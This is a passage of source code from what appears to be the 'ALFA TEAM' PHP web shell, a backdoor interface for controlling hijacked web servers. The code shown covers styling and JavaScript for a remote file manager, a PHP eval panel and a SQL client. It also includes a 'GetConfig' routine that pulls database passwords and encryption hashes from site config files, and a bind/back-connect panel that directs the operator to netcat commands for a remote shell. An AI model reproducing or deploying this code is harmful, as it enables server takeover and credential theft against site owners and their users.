.filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
  1062. <?php echo '
  1063. @keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
  1064. @-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
  1065. @-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
  1066. @-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
  1067. #alfaloader{'.$csscode.'width:100px;height:100px;}
  1068. #a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
  1069. .ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
  1070. .foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'
  1071. </style>';
  1072. echo "<script type='text/javascript'>
  1073. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  1074. var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
  1075. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  1076. var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
  1077. var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";";?>
  1078. var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var 